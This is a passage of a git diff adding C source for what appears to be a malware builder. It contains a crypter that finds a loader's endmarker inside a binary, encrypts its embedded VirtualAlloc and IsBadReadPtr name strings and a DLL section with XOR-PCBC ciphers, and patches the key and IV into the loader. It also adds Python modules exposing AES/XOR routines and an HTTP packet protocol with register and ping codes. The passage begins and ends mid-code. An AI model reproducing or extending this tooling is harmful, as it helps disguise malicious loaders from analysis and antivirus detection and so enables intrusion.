7 }, + {"dll-section", required_argument, 0, 8 }, + {"dry-run", no_argument, 0, 'd'}, + {NULL, 0, 0, 0} +}; +enum { + OPTDLL_OFFSET = 0, OPTDLL_SIZE, + OPTDLL_MAX +}; +static char* dllsubopts[] = { + [OPTDLL_OFFSET] = "offset", + [OPTDLL_SIZE] = "size", + NULL +}; +static const char const* options_help[] = { + "more output", + "print encrypted/decrypted binary buffers (hex format; massive output!)", + "output file", + "simple and unsecure 32-bit xor cipher", + "unsecure xor32-bit block cipher", + "secure xor(32*n)-bit block cipher", + "iv and key size for cipher", + "base64 (en|de)coder", + "set a key which should be 4*n bytes long", + "same behavior as key", + "binary offset to loader endmarker (see: include/loader.h)", + "encrypt loader string: strVirtualAlloc", + "encrypt loader string: strIsBadReadPtr", + "path to dll binary", + "encrypt dll header", + "encrypt dll section (requires argument offset and size)", + "dont write anything to disk" +}; +static const char const opt_fmt[] = "vpo:k:e:i:l:f:dh"; + +void +print_usage(char* arg0) +{ + fprintf(stderr, "usage: %s [OPTIONS] [INPUTFILE]\n\twhere options can be:\n", arg0); + const size_t alen = (sizeof(long_options)-sizeof(long_options[0])) / sizeof(long_options[0]); + for (size_t i = 0; i < alen; ++i) { + int hlen = ((int)strlen(options_help[i]) + 15) - (int)strlen(long_options[i].name); + char shortopt = (char)long_options[i].val; + printf("\t\t"); + if (isalpha(shortopt) != 0) { + printf("-%c,", shortopt); + } else { + hlen += 3; + } + printf("--%s", long_options[i].name); + if (long_options[i].has_arg == required_argument) { + printf(" [arg]"); + } else { + hlen += 6; + } + printf("%*s\n", hlen, options_help[i]); + } +} + +void +check_loader_arg(char* arg0) +{ + if (app_options.crpmode != D_NONE) { + fprintf(stderr, "%s: loader crypt mode already set, only ONE allowed\n", arg0); + exit(1); + } +} + +void +parse_arguments(int argc, char** argv) +{ + int c; + + if (argc <= 1) { + print_usage(argv[0]); + exit(1); + } + + memset(&app_options, '\0', sizeof(app_options)); + while (1) { + int optind = 0; + char* endptr = NULL; + + c = getopt_long(argc, argv, opt_fmt, long_options, &optind); + if (c == -1) + break; + + switch(c) { + case 'v': + app_options.verbose = true; + break; + case 'p': + app_options.print_buffer = true; + break; + case 'o': + app_options.outfile = strdup(optarg); + break; + case 1: + app_options.encmode = E_XOR32; + break; + case 2: + app_options.encmode = E_XOR32PCBC; + break; + case 3: + app_options.encmode = E_XOR32NPCBC; + break; + case 'k': + errno = 0; + app_options.ivkeysize = strtoul(optarg, &endptr, 10); + if (errno == ERANGE || errno == EINVAL || *endptr != '\0' || app_options.ivkeysize < 1) { + fprintf(stderr, "%s: ivkeysize not an unsigned decimal aka size_t\n", argv[0]); + exit(1); + } + break; + case 4: + app_options.encmode = E_BASE64; + break; + case 'e': + app_options.inkey = parse_hex_str(optarg, &app_options.keysize); + if (app_options.inkey == NULL) { + fprintf(stderr, "%s: not a valid byte-aligned hex string: %s\n", argv[0], optarg); + exit(1); + } + break; + case 'i': + app_options.iniv = parse_hex_str(optarg, &app_options.ivsize); + if (app_options.iniv == NULL) { + fprintf(stderr, "%s: not a valid byte-aligned hex string: %s\n", argv[0], optarg); + exit(1); + } + break; + case 'l': + errno = 0; + app_options.ldroffset = (size_t)strtoul(optarg, &endptr, 10); + if (errno == ERANGE || errno == EINVAL || *endptr != '\0') { + fprintf(stderr, "%s: ldroffset not an unsigned decimal aka size_t\n", argv[0]); + exit(1); + } + app_options.ldrmod = true; + break; + case 5: + check_loader_arg(argv[0]); + app_options.crpmode = D_CRYPT_SZVA; + break; + case 6: + check_loader_arg(argv[0]); + app_options.crpmode = D_CRYPT_SZIB; + break; + case 'f': + app_options.ldr_dll = strdup(optarg); + break; + case 7: + check_loader_arg(argv[0]); + app_options.crpmode = D_CRYPT_SECTION; + errno = 0; + app_options.dlloffset = 0; + app_options.dllsize = strtoul(optarg, &endptr, 10); + if (errno == ERANGE || errno == EINVAL || *endptr != '\0' || app_options.dllsize < 1) { + fprintf(stderr, "%s: dll header size is not an unsigned decimal aka size_t\n", argv[0]); + exit(1); + } + break; + case 8: + check_loader_arg(argv[0]); + app_options.crpmode = D_CRYPT_SECTION; + char* subopts = optarg; + char* value = NULL; + int errfnd = 0; + int opt; + while (*subopts != '\0' && !errfnd) { + errno = 0; + switch ( (opt = getsubopt(&subopts, dllsubopts, &value)) ) { + case OPTDLL_OFFSET: + if (value) + app_options.dlloffset = strtoul(value, &endptr, 10); + break; + case OPTDLL_SIZE: + if (value) + app_options.dllsize = strtoul(value, &endptr, 10); + break; + default: + fprintf(stderr, "%s: no match found for token: \"%s\"\n", argv[0], value); + errfnd = 1; + continue; + } + if (value == NULL) { + fprintf(stderr, "%s: missing value for subopt %s\n", argv[0], dllsubopts[opt]); + errfnd = 1; + } + if (errno == ERANGE || errno == EINVAL || *endptr != '\0') { + fprintf(stderr, "%s: dll subopt \"%s\" is not a valid unsigned decimal\n", argv[0], dllsubopts[opt]); + errfnd = 1; + } + } + if (app_options.dlloffset < 1 || app_options.dllsize < 1) { + fprintf(stderr, "%s: dll-section requires subopts %s and %s\n", argv[0], dllsubopts[OPTDLL_OFFSET], dllsubopts[OPTDLL_SIZE]); + errfnd = 1; + } + if (errfnd) { + exit(1); + } + break; + case 'd': + app_options.dryrun = true; + break; + + case 'h': + default: + print_usage(argv[0]); + exit(1); + } + } + + while (optind < argc) { + if (app_options.infile == NULL) { + app_options.infile = strdup(argv[optind++]); + } else { + fprintf(stderr, "%s: non argv elements\n", argv[optind++]); + exit(1); + } + } + + if (app_options.infile == NULL) { + fprintf(stderr, "%s: no input file\n", argv[0]); + exit(1); + } + if (app_options.outfile) { + if (strcmp(app_options.infile, app_options.outfile) == 0) { + fprintf(stderr, "%s: input file and output file should be two different files\n", argv[0]); + exit(1); + } + } + + switch (app_options.encmode) { + case E_NONE: + fprintf(stderr, "%s: no mode set\n", argv[0]); + exit(1); + case E_XOR32: + if (app_options.iniv != NULL) { + fprintf(stderr, "%s: iv is not allowed in this mode\n", argv[0]); + exit(1); + } + case E_XOR32PCBC: + if (app_options.ivkeysize != 0) { + fprintf(stderr, "%s: setting --ivkeysize not allowed in this mode (ivkeysize=1!)\n", argv[0]); + exit(1); + } + app_options.ivkeysize = 1; + if ((app_options.inkey != NULL && app_options.keysize != 4) || + (app_options.iniv != NULL && app_options.ivsize != 4)) { + fprintf(stderr, "%s: --iv/--key size MUST be 4 bytes e.g. 0xdeadc0de\n", argv[0]); + exit(1); + } + break; + case E_XOR32NPCBC: + if (app_options.crpmode != D_NONE) + break; + if (!app_options.inkey && !app_options.iniv && app_options.ivkeysize == 0) { + fprintf(stderr, "%s: missing ivkeysize\n", argv[0]); + exit(1); + } + if ((app_options.inkey != NULL && app_options.keysize % 4 != 0) || + (app_options.iniv != NULL && app_options.ivsize % 4 != 0)) { + fprintf(stderr, "%s: --iv/--key size MUST be 4*n bytes e.g. 0xdeadc0dedeadbeef\n", argv[0]); + exit(1); + } + if (app_options.inkey != NULL && app_options.iniv != NULL && + app_options.keysize != app_options.ivsize) { + fprintf(stderr, "%s: --iv/--key size MUST be equal\n", argv[0]); + exit(1); + } + if (app_options.inkey != NULL) { + app_options.ivkeysize = app_options.keysize / 4; + } else if (app_options.iniv != NULL) { + app_options.ivkeysize = app_options.ivsize / 4; + } + break; + case E_BASE64: + if (app_options.inkey != NULL || + app_options.iniv != NULL || + app_options.ivkeysize != 0) { + fprintf(stderr, "%s: --iv/--key/--ivkeysize not allowed in base64 mode\n", argv[0]); + exit(1); + } + break; + } + if (app_options.crpmode != D_NONE) { + if (app_options.encmode != E_XOR32NPCBC) { + fprintf(stderr, "%s: loader modifications only work with xor32npcbc\n", argv[0]); + exit(1); + } + if (app_options.ivkeysize != 0) { + fprintf(stderr, "%s: setting key/iv size not allowed in this mode\n", argv[0]); + exit(1); + } + if (app_options.crpmode == D_CRYPT_SECTION) { + if (app_options.ldr_dll == NULL) { + fprintf(stderr, "%s: missing dll file\n", argv[0]); + exit(1); + } + app_options.ivkeysize = LOADER_IVKEYLEN; + } else { + app_options.ivkeysize = LOADER_STR_IVKEYLEN; + } + if (app_options.crpmode != D_CRYPT_SECTION && app_options.outfile) { + fprintf(stderr, "%s: loader modification is done directly at the input binary, --outfile superfluous\n", argv[0]); + exit(1); + } + } + if (app_options.inkey != NULL) { + if (app_options.ldrmod == true) { + if (app_options.keysize != 12) { + fprintf(stderr, "%s: keysize must be 12 byte for loader string encryption\n", argv[0]); + exit(1); + } + } + bswap32_endianess(app_options.inkey, app_options.keysize); + } + if (app_options.iniv != NULL) { + if (app_options.ldrmod == true) { + if (app_options.ivsize != 12) { + fprintf(stderr, "%s: ivsize must be 12 byte for loader string encryption\n", argv[0]); + exit(1); + } + } + bswap32_endianess(app_options.iniv, app_options.ivsize); + } +} + +int main(int argc, char** argv) +{ + parse_arguments(argc, argv); + srandom(time(NULL)); + errno = 0; + + int ret = 0; + size_t siz = 0; + char* buf = mapfile(app_options.infile, &siz); + size_t orgsiz = siz; + char* orgbuf = buf; + bool print_crypted_str = false; + char* dllbuf = NULL; + + if (buf) { + if (app_options.ldrmod == false) { + size_t found = 0; + ssize_t offset = search_endmarker((unsigned char*)buf, siz, &found); + if (found != 1) { + fprintf(stderr, "%s: loader marker search error (found: %lu, offset: %ld (0x%X))\n", argv[0], found, offset, (unsigned int)offset); + exit(1); + } + if (app_options.verbose) { + printf("%s: loader marker found at offset %ld (0x%X)\n", argv[0], offset, (unsigned int)offset); + } + app_options.ldroffset = offset; + app_options.ldrmod = true; + } + + /* get loader struct */ + struct loader_x86_data* ldr = NULL; + if (app_options.ldrmod == true) { + if (memcmp((void*)(orgbuf + app_options.ldroffset), + (void*)loader_endmarker, + sizeof(loader_endmarker)/sizeof(loader_endmarker[0])) == 0) { + ldr = (struct loader_x86_data*)(orgbuf + + app_options.ldroffset + + sizeof(uint32_t) - sizeof(struct loader_x86_data)); + + if (memcmp((void*)&ldr->endMarker, + (void*)loader_endmarker, + sizeof(loader_endmarker)/sizeof(loader_endmarker[0])) != 0) { + fprintf(stderr, "%s: loader marker found, but not present after typecast, check loader struct in include/loader.h\n", argv[0]); + exit(1); + } + + char* chk = NULL; + if (app_options.crpmode == D_CRYPT_SZVA) { + buf = ldr->strVirtualAlloc; + siz = (sizeof(ldr->strVirtualAlloc)/sizeof(ldr->strVirtualAlloc[0])) - + (1 * sizeof(ldr->strVirtualAlloc[0])); + chk = buf; + } else if (app_options.crpmode == D_CRYPT_SZIB) { + buf = ldr->strIsBadReadPtr; + siz = (sizeof(ldr->strIsBadReadPtr)/sizeof(ldr->strIsBadReadPtr[0])) - + (1 * sizeof(ldr->strIsBadReadPtr[0])); + chk = buf; + } else if (app_options.crpmode == D_CRYPT_SECTION) { + dllbuf = buf = mapfile(app_options.ldr_dll, &siz); + buf += app_options.dlloffset; + siz = app_options.dllsize; + if (!buf) { + fprintf(stderr, "%s: could not map dll file into memory\n", argv[0]); + perror("mapfile"); + exit(1); + } + } + if (chk) + for (size_t i = 0; i < siz; ++i) + if (isalpha(buf[i]) == 0) { + fprintf(stderr, "%s: non ascii character found in loader string, already encrypted?\n", argv[0]); + fprintf(stderr, "%s: forcing --dry-run\n", argv[0]); + app_options.dryrun = true; + print_crypted_str = true; + break; + } + + uint32_t tmp[app_options.ivkeysize]; + memset(&tmp[0], '\0', app_options.ivkeysize*sizeof(uint32_t)); + if (memcmp(&tmp[0], &ldr->key[0], app_options.ivkeysize*sizeof(uint32_t)) != 0) { + if (app_options.inkey) { + fprintf(stderr, "%s: loader->key is not NULL, but --key set?\n", argv[0]); + exit(1); + } else { + app_options.inkey = calloc(app_options.ivkeysize, sizeof(uint32_t)); + memcpy(app_options.inkey, &ldr->key[0], app_options.ivkeysize*sizeof(uint32_t)); + } + } + if (memcmp(&tmp[0], &ldr->iv[0], app_options.ivkeysize*sizeof(uint32_t)) != 0) { + if (app_options.iniv) { + fprintf(stderr, "%s: loader->iv is not NULL, but --iv set?\n", argv[0]); + exit(1); + } else { + app_options.iniv = calloc(app_options.ivkeysize, sizeof(uint32_t)); + memcpy(app_options.iniv, &ldr->iv[0], app_options.ivkeysize*sizeof(uint32_t)); + } + } + } else { + fprintf(stderr, "%s: loader offset set, but no endmarker found\n", argv[0]); + exit(1); + } + } + + if (app_options.print_buffer) { + printf("Buffer (Size: %lu):\n", siz); + printbytebuf(buf, siz, 78, app_options.verbose); + } + + size_t newsiz = 0; + char* cryptd = NULL; + uint32_t key[app_options.ivkeysize]; + uint32_t iv[app_options.ivkeysize]; + memset(&key[0], '\0', app_options.ivkeysize*sizeof(uint32_t)); + memset(&iv[0], '\0', app_options.ivkeysize*sizeof(uint32_t)); + + /* copy key/iv if there are any */ + if (app_options.inkey != NULL) { + memcpy(&key[0], app_options.inkey, app_options.ivkeysize*sizeof(uint32_t)); + } + if (app_options.iniv != NULL) { + memcpy(&iv[0], app_options.iniv, app_options.ivkeysize*sizeof(uint32_t)); + } + + /* otherwise generate random iv/key if neccessary */ + for (uint32_t i = 0; i < app_options.ivkeysize; ++i) { + while (iv[i] == 0) { iv[i] = random(); } + while (key[i] == 0) { key[i] = random(); } + } + + /* update loader header */ + if (ldr && !app_options.dryrun) { + memcpy(&ldr->key[0], &key[0], app_options.ivkeysize*sizeof(uint32_t)); + memcpy(&ldr->iv[0], &iv[0], app_options.ivkeysize*sizeof(uint32_t)); + } + + /* encrypt */ + switch (app_options.encmode) { + case E_BASE64: + cryptd = base64_encode(buf, siz, &newsiz); + break; + case E_XOR32: + case E_XOR32PCBC: + cryptd = calloc(siz + 2*sizeof(uint32_t), sizeof(char)); + memcpy(cryptd, buf, siz); + if (app_options.encmode == E_XOR32) { + if (app_options.verbose) { + printf("Xor32Key: %08X\n", key[0]); + } + newsiz = xor32_crypt_buf((uint32_t*)cryptd, siz, key[0]); + } else { + if (app_options.verbose) { + printf("Xor32pcbcKey: %08X\tIV: %08X\n", key[0], iv[0]); + } + newsiz = xor32_pcbc_encrypt_buf((uint32_t*)cryptd, siz, iv[0], key[0]); + } + break; + case E_XOR32NPCBC: + cryptd = calloc(siz + (app_options.ivkeysize)*sizeof(uint32_t), sizeof(char)); + memcpy(cryptd, buf, siz); + if (app_options.verbose) { + printf("Xor32npcbcKey/IV:\n"); + for (uint32_t i = 0; i < app_options.ivkeysize; ++i) { + printf("%08X / %08X\n", key[i], iv[i]); + } + } + newsiz = xor32n_pcbc_crypt_buf((uint32_t*)cryptd, siz, &iv[0], &key[0], app_options.ivkeysize); + break; + case E_NONE: + default: + break; + } + + if (app_options.print_buffer) { + printf("Encoded (Size: %lu):\n", newsiz); + printbytebuf(cryptd, newsiz, 78, app_options.verbose); + } + + /* decrypt (and check if algorithm works correctly) */ + switch (app_options.encmode) { + case E_XOR32: + case E_XOR32PCBC: + case E_XOR32NPCBC: { + char* tmp = calloc(newsiz, sizeof(char)); + memcpy(tmp, cryptd, newsiz); + if (app_options.encmode == E_XOR32) { + newsiz = xor32_crypt_buf((uint32_t*)tmp, newsiz, key[0]); + } else if (app_options.encmode == E_XOR32PCBC) { + xor32_pcbc_decrypt_buf((uint32_t*)tmp, newsiz, iv[0], key[0]); + } else { + xor32n_pcbc_crypt_buf((uint32_t*)tmp, newsiz, &iv[0], &key[0], app_options.ivkeysize); + } + if (app_options.print_buffer) { + printf("Decoded (Size: %lu):\n", siz); + printbytebuf(tmp, siz, 78, app_options.verbose); + } + if (memcmp(tmp, buf, siz) != 0) { + ret = 1; + fprintf(stderr, "%s: ERROR: original buffer and decrypted buffer differs!\n", argv[0]); + } + free(tmp); + } + case E_BASE64: + case E_NONE: + default: + break; + } + + /* generate output file */ + if (app_options.outfile) { + ssize_t written = 0; + errno = 0; + if ((written = writebuf(app_options.outfile, (unsigned char*)cryptd, newsiz)) != newsiz) { + fprintf(stderr, "%s could not write to output file (%lu/%lu bytes written)\n", argv[0], written, newsiz); + perror("write"); + } + } + + /* update loader strings/dll section */ + if (!app_options.dryrun && + (app_options.crpmode == D_CRYPT_SZVA || + app_options.crpmode == D_CRYPT_SZIB || + app_options.crpmode == D_CRYPT_SECTION)) { + memcpy(buf, (unsigned char*)cryptd, newsiz); + } + if (print_crypted_str) { + printf("String: %*s\n", (int)newsiz, cryptd); + } + + /* unmap files and free memory */ + free(cryptd); + errno = 0; + if (app_options.crpmode == D_CRYPT_SECTION && munmap(dllbuf, siz) != 0) { + fprintf(stderr, "%s: err while unmapping loder dll\n", argv[0]); + perror("munmap"); + ret = 1; + } + errno = 0; + if (munmap(orgbuf, orgsiz) != 0) { + perror("munmap"); + ret = 1; + } + } else { + ret = 1; + perror("mapfile"); + } + + if (ret == 0) { + printf("%s: succeeded\n", argv[0]); + } + return ret; +} diff --git a/source/tools/host/old/pyhttp.c b/source/tools/host/old/pyhttp.c new file mode 100644 index 0000000..b66576f --- /dev/null +++ b/source/tools/host/old/pyhttp.c @@ -0,0 +1,188 @@ +/* + * Module: pyhttp.c + * Author: Toni Uhlig <matzeton@googlemail.com> + * Purpose: Python loadable module for http codes/flags + */ + +#include "helper.h" /* must be the first include if compiling a python module */ + +#include <stdio.h> +#include <stdlib.h> + +#include "compat.h" +#include "http.h" +#include "xor_strings.h" /* DLLSECTION */ + + +static const char pname[] = "pyhttp"; + + +static PyObject* info(PyObject* self, PyObject* args) +{ + printf("%s: http codes/flags\n", pname); + Py_RETURN_NONE; +} + +#define PYDICT_SET_CMACRO(name, obj) PyDict_SetItemString( dict, name, obj ); +#define PYDICT_SETI_CMACRO(mname) { PyObject* pyval = Py_BuildValue("I", mname); if (pyval) { PYDICT_SET_CMACRO( #mname, pyval ); Py_DECREF(pyval); } } +#define PYDICT_SETS_CMACRO(mname) { PyObject* pyval = Py_BuildValue("s", mname); if (pyval) { PYDICT_SET_CMACRO( #mname, pyval ); Py_DECREF(pyval); } } +static PyObject* __http_getCodes(PyObject* self, PyObject* args) +{ + PyObject* dict = PyDict_New(); + PYDICT_SETI_CMACRO(RC_INFO); + PYDICT_SETI_CMACRO(RC_REGISTER); + PYDICT_SETI_CMACRO(RC_PING); + return dict; +} + +static PyObject* __http_getCodeSiz(PyObject* self, PyObject* args) +{ + return Py_BuildValue("I", sizeof(rrcode)); +} + +static PyObject* __http_getFlags(PyObject* self, PyObject* args) +{ + PyObject* dict = PyDict_New(); + PYDICT_SETI_CMACRO(RF_AGAIN); + PYDICT_SETI_CMACRO(RF_ERROR); + PYDICT_SETI_CMACRO(RF_OK); + + return dict; +} + +static PyObject* __http_getFlagSiz(PyObject* self, PyObject* args) +{ + return Py_BuildValue("I", sizeof(rflags)); +} + +static PyObject* __http_getConsts(PyObject* self, PyObject* args) +{ + PyObject* dict = PyDict_New(); + PYDICT_SETS_CMACRO(DLLSECTION); + PYDICT_SETI_CMACRO(SID_LEN); + PYDICT_SETI_CMACRO(SID_ZEROES0); + PYDICT_SETI_CMACRO(SID_ZEROES1); + PYDICT_SETI_CMACRO(MARKER_SIZ); + PYDICT_SETI_CMACRO(RND_LEN); + PYDICT_SETI_CMACRO(AESKEY_SIZ); + + return dict; +} + +static PyObject* __http_parseResponse(PyObject* self, PyObject* args) +{ + PyObject* ctxRecvBuffer = NULL; + PyObject* ctxStartMarker = NULL; + Py_buffer recvBuffer = {0}, startMarker = {0}; + PyObject* rList = Py_BuildValue("[]"); + + if (! PyArg_ParseTuple(args, "O|O:parseResponse", &ctxRecvBuffer, &ctxStartMarker) || + ! ctxRecvBuffer || ! ctxStartMarker) { + PyErr_SetString(PyExc_TypeError, "Invalid arguments"); + PyErr_Print(); + return NULL; + } + + if (PyObject_GetBuffer(ctxRecvBuffer, &recvBuffer, PyBUF_SIMPLE) < 0 || + PyObject_GetBuffer(ctxStartMarker, &startMarker, PyBUF_SIMPLE) < 0) { + PyErr_SetString(PyExc_TypeError, "Argument types are not buffer objects"); + PyErr_Print(); + goto finalize; + } + if (recvBuffer.len <= 0) { + PyErr_Format(PyExc_RuntimeError, "Invalid buffer length: %u", (unsigned)recvBuffer.len); + PyErr_Print(); + goto finalize; + } + if (startMarker.len != MARKER_SIZ) { + PyErr_Format(PyExc_TypeError, "Marker size is not exactly %u bytes: %u bytes", MARKER_SIZ, (unsigned)startMarker.len); + PyErr_Print(); + goto finalize; + } + + off_t bufOff = 0; + http_resp* hResp = NULL; + while (parseResponse(recvBuffer.buf, recvBuffer.len, &hResp, &bufOff, startMarker.buf) == RSP_OK && + hResp) { + PyObject* tuple = Py_BuildValue("(s#BHIs#)", hResp->startMarker, MARKER_SIZ, + hResp->respFlags, hResp->respCode, hResp->pkgsiz, &hResp->pkgbuf[0], hResp->pkgsiz); + PyList_Append(rList, tuple); + Py_DECREF(tuple); + } + +finalize: + if (recvBuffer.buf != NULL) + PyBuffer_Release(&recvBuffer); + if (startMarker.buf != NULL) + PyBuffer_Release(&startMarker); + return rList; +} + +static PyObject* __http_addRequest(PyObject* self, PyObject* args) +{ + struct http_resp* hResp = NULL; + PyObject* ctxBuf; + PyObject* ctxResp; + Py_buffer pkgBuf = {0}, httpResp = {0}; + PyObject* retBuf = NULL; + + if (! PyArg_ParseTuple(args, "O|O:addRequest", &ctxBuf, &ctxResp) || + ! ctxBuf || ! ctxResp) { + PyErr_SetString(PyExc_TypeError, "Invalid arguments"); + return NULL; + } + + if (PyObject_GetBuffer(ctxBuf, &pkgBuf, PyBUF_SIMPLE) < 0 || + PyObject_GetBuffer(ctxResp, &httpResp, PyBUF_SIMPLE) < 0) { + PyErr_SetString(PyExc_TypeError, "Argument types are not buffer objects"); + PyErr_Print(); + goto finalize; + } + + hResp = (struct http_resp*)httpResp.buf; + if (httpResp.len != sizeof(struct http_resp) + hResp->pkgsiz) { + PyErr_Format(PyExc_RuntimeError, "Invalid http_resp size: %lu (required: %lu + %u)", httpResp.len, sizeof(struct http_resp), hResp->pkgsiz); + PyErr_Print(); + goto finalize; + } + + rrsize send_siz = pkgBuf.len; + rrbuff send_buf = COMPAT(calloc)(send_siz, sizeof(*send_buf)); + if (! send_buf) + goto finalize; + COMPAT(memcpy)(send_buf, pkgBuf.buf, send_siz); + if (addRequest(&send_buf, &send_siz, hResp) == RSP_OK) + retBuf = PyByteArray_FromStringAndSize((const char*)send_buf, send_siz); + COMPAT(free)(send_buf); +finalize: + if (pkgBuf.buf != NULL) + PyBuffer_Release(&pkgBuf); + if (httpResp.buf != NULL) + PyBuffer_Release(&httpResp); + if (retBuf) + return retBuf; + else + Py_RETURN_NONE; +} + + +/* define module methods */ +static PyMethodDef pycryptMethods[] = { + {"info", info, METH_NOARGS, "print module info"}, + {"getCodes", __http_getCodes, METH_NOARGS, "get http request/response codes"}, + {"getCodeSiz", __http_getCodeSiz, METH_NOARGS, "get code size"}, + {"getFlags", __http_getFlags, METH_NOARGS, "get http response flags"}, + {"getFlagSiz", __http_getFlagSiz, METH_NOARGS, "get flag size"}, + {"getConsts", __http_getConsts, METH_NOARGS, "get const data/macros"}, + {"parseResponse", __http_parseResponse, METH_VARARGS, "buf,startMarker -> parse http request/response"}, + {"addRequest", __http_addRequest, METH_VARARGS, "buf,struct http_resp -> add a http request to an pkgbuffer"}, + {NULL, NULL, 0, NULL} +}; + +/* module initialization */ +PyMODINIT_FUNC +initpyhttp(void) +{ + printf("ENABLED %s\n", pname); + (void) Py_InitModule(pname, pycryptMethods); +} diff --git a/source/tools/host/pycrypt.c b/source/tools/host/pycrypt.c new file mode 100644 index 0000000..ba15c7d --- /dev/null +++ b/source/tools/host/pycrypt.c @@ -0,0 +1,250 @@ +/* + * Module: pcrypt.c + * Author: Toni Uhlig <matzeton@googlemail.com> + * Purpose: Python loadable module for xor/plain buffer (en|de)cryption + */ + +#include "helper.h" /* must be the first include if compiling a python module */ + +#include <stdio.h> +#include <stdlib.h> + +#include "aes.h" +#include "crypt.h" +#include "compat.h" + + +static const char pname[] = "pycrypt"; +static bool aesInit = false; + + +static PyObject* info(PyObject* self, PyObject* args) +{ + printf("%s: (en|de)crypt xor/plain buffer\n", pname); + Py_RETURN_NONE; +} + +static int init(void) +{ + if (aesInit) + aes_cleanup(); + aes_init(); + aesInit = true; + return 0; +} + +static int __checkAESKeySize(unsigned int ksiz) +{ + if (ksiz != KEY_128 && ksiz != KEY_192 && ksiz != KEY_256) { + PyErr_Format(PyExc_TypeError, "Argument keysize must be either KEY_128(%d bytes), KEY_192(%d bytes) or KEY_256(%d bytes)", KEY_128, KEY_192, KEY_256); + return 0; + } + return 1; +} + +static int __checkCtxSize(void* buf, Py_ssize_t len) +{ + if (len < sizeof(aes_ctx_t)) { + PyErr_Format(PyExc_TypeError, "Invalid AES Context struct size: %lu < %lu", len, sizeof(aes_ctx_t)); + return 0; + } + aes_ctx_t* ctx = (aes_ctx_t*)buf; + uint32_t ks_size = 4*(ctx->rounds+1)*sizeof(uint32_t); + if (len != sizeof(aes_ctx_t)+ks_size) { + PyErr_Format(PyExc_TypeError, "Invalid AES Context rounds size: %lu < %lu", len, sizeof(aes_ctx_t)+ks_size); + return 0; + } + return 1; +} + +static PyObject* __aes_randomkey(PyObject* self, PyObject* args) +{ + unsigned int ksiz = 0; + if (! PyArg_ParseTuple(args, "I:aesRandomKey", &ksiz)) { + return NULL; + } + + if (__checkAESKeySize(ksiz) == 0) { + return NULL; + } + + unsigned char key[ksiz]; + memset(&key[0], '\0', ksiz); + aes_randomkey(&key[0], ksiz); + return PyByteArray_FromStringAndSize((const char*)&key[0], ksiz); +} + +static PyObject* __aes_allocCtx(PyObject* self, PyObject* args) +{ + PyObject* pyByteArray = NULL; + Py_buffer pyByteBuffer; + char* buf = NULL; + ssize_t len; + + if (! PyArg_ParseTuple(args, "O:aesAllocCtx", &pyByteArray)) { + PyErr_SetString(PyExc_TypeError, "Missing argument key as bytearray"); + return NULL; + } + if (PyObject_GetBuffer(pyByteArray, &pyByteBuffer, PyBUF_SIMPLE) < 0) { + PyErr_SetString(PyExc_TypeError, "Argument is not a valid Bytebuffer"); + return NULL; + } + len = pyByteBuffer.len; + if (__checkAESKeySize(len) == 0) { + return NULL; + } + + buf = pyByteBuffer.buf; + aes_ctx_t* aes_ctx = aes_alloc_ctx((unsigned char*)buf, len); + + PyObject* ctxByteArray = NULL; + if (aes_ctx) { + ssize_t size = sizeof(aes_ctx_t)+4*(aes_ctx->rounds+1)*sizeof(uint32_t); + ctxByteArray = PyByteArray_FromStringAndSize((const char*)aes_ctx, size); + } + aes_free_ctx(aes_ctx); + PyBuffer_Release(&pyByteBuffer); + return ctxByteArray; +} + +static PyObject* __aes_crypt(PyObject* self, PyObject* args) +{ + Py_buffer plainBuffer; + PyObject* plainByteArray = NULL; + char* plain = NULL; + Py_buffer ctxBuffer; + PyObject* ctxByteArray = NULL; + aes_ctx_t* aes_ctx = NULL; + PyObject* boolDoEncrypt = NULL; + bool doEncrypt = true; + + if (! PyArg_ParseTuple(args, "O|O|O:aesEncrypt", &ctxByteArray, &plainByteArray, &boolDoEncrypt) || + ! ctxByteArray || ! plainByteArray || ! boolDoEncrypt) { + PyErr_SetString(PyExc_TypeError, "Invalid arguments (signature: AES_CTX[bytearray] BUFFER[bytearray] DO_ENCRYPT[bool]"); + return NULL; + } + if (PyObject_GetBuffer(ctxByteArray, &ctxBuffer, PyBUF_SIMPLE) < 0 || + PyObject_GetBuffer(plainByteArray, &plainBuffer, PyBUF_SIMPLE) < 0 ) { + return NULL; + } + if (__checkCtxSize(ctxBuffer.buf, ctxBuffer.len) == 0) { + PyErr_SetString(PyExc_TypeError, "Invalid aes context"); + return NULL; + } + + aes_ctx = (aes_ctx_t*)ctxBuffer.buf; + doEncrypt = PyObject_IsTrue(boolDoEncrypt); + plain = plainBuffer.buf; + + uint32_t newsiz = 0; + char* new = aes_crypt_s(aes_ctx, plain, plainBuffer.len, &newsiz, doEncrypt); + PyObject* out = PyByteArray_FromStringAndSize((const char*)new, newsiz); + COMPAT(free)(new); + PyBuffer_Release(&plainBuffer); + PyBuffer_Release(&ctxBuffer); + return out; +} + +static int __check_xor32key(unsigned int ksiz) +{ + return ksiz <= 128; +} + +static uint32_t __xor32_random(void) +{ + return xor32_randomkey(); +} + +static PyObject* __xor32_randomkeyiv(PyObject* self, PyObject* args) +{ + unsigned int ksiz = 0; + if (! PyArg_ParseTuple(args, "I:xorRandomKey", &ksiz) || + __check_xor32key(ksiz) == 0) { + PyErr_SetString(PyExc_TypeError, "Invalid argument for keysize"); + return NULL; + } + + uint32_t buf[ksiz]; + memset(&buf[0], '\0', ksiz*sizeof(buf[0])); + for (unsigned int i = 0; i < ksiz; ++i) { + buf[i] = __xor32_random(); + } + return PyByteArray_FromStringAndSize((const char*)&buf[0], ksiz*sizeof(buf[0])); +} + +static PyObject* __xor32n_pcbc_crypt_buf(PyObject* self, PyObject* args) +{ + PyObject* result = NULL; + PyObject* byteBuf = NULL; + PyObject* keyBuf = NULL; + PyObject* ivBuf = NULL; + Py_buffer pyByteBuf, pyKeyBuf, pyIvBuf; + + if (! PyArg_ParseTuple(args, "O|O|O:xorCrypt", &byteBuf, &keyBuf, &ivBuf) || + ! byteBuf) { + PyErr_SetString(PyExc_TypeError, "Invalid arguments (signature: BUFFER[bytearray] XORKEY[bytearray] IV[bytearray]"); + return NULL; + } + if (PyObject_GetBuffer(byteBuf, &pyByteBuf, PyBUF_SIMPLE) < 0 || + PyObject_GetBuffer(keyBuf, &pyKeyBuf, PyBUF_SIMPLE) < 0 || + PyObject_GetBuffer(ivBuf, &pyIvBuf, PyBUF_SIMPLE) < 0) { + PyErr_SetString(PyExc_TypeError, "One or more arguments could not be exported into a Buffer View"); + goto failed; + } + + if (pyKeyBuf.len != pyIvBuf.len) { + PyErr_SetString(PyExc_TypeError, "Key and Iv length are not equal"); + goto failed; + } + if (pyKeyBuf.len % 4 != 0) { + 